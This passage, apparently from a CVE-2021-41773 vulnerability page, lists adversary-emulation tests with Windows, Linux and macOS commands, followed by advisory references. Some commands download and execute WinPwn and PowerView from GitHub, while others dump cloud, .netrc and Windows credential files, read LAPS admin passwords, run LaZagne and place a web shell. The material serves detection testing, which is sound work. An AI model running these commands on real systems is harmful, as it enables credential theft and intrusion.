(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate Root Domain linked policies Discovery Windows PowerShell
The following Atomic test will utilize ADSISearcher to enumerate root domain unit within Active Directory. Upon successful execution a listing of users will output with their paths in AD. Reference:...
Command (PowerShell)
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
T1087.002 Enumerate all accounts (Domain) Windows CMD
Enumerate all accounts Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
Command (CMD)
net user /domain
net group /domain
T1087.002 Enumerate all accounts via PowerShell (Domain) Windows PowerShell
Enumerate all accounts via PowerShell. Upon execution, lots of user account and group information will be displayed.
Command (PowerShell)
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
T1087.002 Enumerate logged on users via CMD (Domain) Windows CMD
Enumerate logged on users. Upon exeuction, logged on users will be displayed.
Command (CMD)
query user /SERVER:#{computer_name}
T1087.002 Get-DomainUser with PowerView Windows PowerShell
Utilizing PowerView, run Get-DomainUser to identify the domain users. Upon execution, Users within the domain will be listed.
Command (PowerShell)
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
T1087.002 Kerbrute - userenum Windows PowerShell
Enumerates active directory usernames using the userenum function of Kerbrute
Command (PowerShell)
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer all properties and SearchScope Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer with SearchScope as subtree and lists all the properties including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
T1087.002 Suspicious LAPS Attributes Query with Get-ADComputer ms-Mcs-AdmPwd property Windows PowerShell
This test executes LDAP query using powershell command Get-ADComputer and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Suspicious LAPS Attributes Query with adfind all properties Windows PowerShell
This test executes LDAP query using adfind command and lists all the attributes including Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
T1087.002 Suspicious LAPS Attributes Query with adfind ms-Mcs-AdmPwd Windows PowerShell
This test executes LDAP query using adfind command and lists Microsoft LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime
Command (PowerShell)
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
T1087.002 Wevtutil - Discover NTLM Users Remote Windows PowerShell
This test discovers users who have authenticated against a Domain Controller via NTLM. This is done remotely via wmic and captures the event code 4776 from the domain controller and stores the ouput in C:\temp. [Reference](https://www.reliaquest.com/blog/socgholish-fakeupdates/)
Command (PowerShell)
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
T1087.002 WinPwn - generaldomaininfo Windows PowerShell
Gathers general domain information using the generaldomaininfo function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (31)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-41773
httpd.apache.org
GitHub CVE x_refsource_MISC
https://httpd.apache.org/security/vulnerabilities_24.html
lists.apache.org
GitHub CVE mailing-list x_refsource_MLIST
https://lists.apache.org/thread.html/r6abf5f2ba6f1aa8b1030f95367aaf17660c4e4c78cb2338aee18982f%40%3Cusers.httpd.apache.org%3E
lists.apache.org
GitHub CVE mailing-list x_refsource_MLIST
https://lists.apache.org/thread.html/r98d704ed4377ed889d40479db79ed1ee2f43b2ebdd79ce84b042df45%40%3Cannounce.apache.org%3E
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/05/2
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/07/1
lists.apache.org
GitHub CVE mailing-list x_refsource_MLIST
https://lists.apache.org/thread.html/r7c795cd45a3384d4d27e57618a215b0ed19cb6ca8eb070061ad5d837%40%3Cannounce.apache.org%3E
lists.apache.org
GitHub CVE mailing-list x_refsource_MLIST
https://lists.apache.org/thread.html/rb5b0e46f179f60b0c70204656bc52fcb558e961cb4d06a971e9e3efb%40%3Cusers.httpd.apache.org%3E
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/07/6
tools.cisco.com
GitHub CVE vendor-advisory x_refsource_CISCO
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-httpd-pathtrv-LAzg68cZ
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/08/1
lists.apache.org
GitHub CVE mailing-list x_refsource_MLIST
https://lists.apache.org/thread.html/r17a4c6ce9aff662efd9459e9d1850ab4a611cb23392fc68264c72cb3%40%3Ccvs.httpd.apache.org%3E
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/08/2
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/08/3
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/08/4
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/08/6
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/08/5
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/09/1
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/164418/Apache-HTTP-Server-2.4.49-Path-Traversal.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/164418/Apache-HTTP-Server-2.4.49-Path-Traversal-Remote-Code-Execution.html
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/11/4
lists.fedoraproject.org
GitHub CVE vendor-advisory x_refsource_FEDORA
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RMIIEFINL6FUIOPD2A3M5XC6DH45Y3CC/
lists.fedoraproject.org
GitHub CVE vendor-advisory x_refsource_FEDORA
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WS5RVHOIIRECG65ZBTZY7IEJVWQSQPG3/
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/15/3
openwall.com
GitHub CVE mailing-list x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2021/10/16/1
oracle.com
GitHub CVE x_refsource_MISC
https://www.oracle.com/security-alerts/cpujan2022.html
security.netapp.com
GitHub CVE x_refsource_CONFIRM
https://security.netapp.com/advisory/ntap-20211029-0009/
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/164629/Apache-2.4.49-2.4.50-Traversal-Remote-Code-Execution.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/164941/Apache-HTTP-Server-2.4.50-Remote-Code-Execution.html
security.gentoo.org
GitHub CVE vendor-advisory x_refsource_GENTOO
https://security.gentoo.org/glsa/202208-20
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773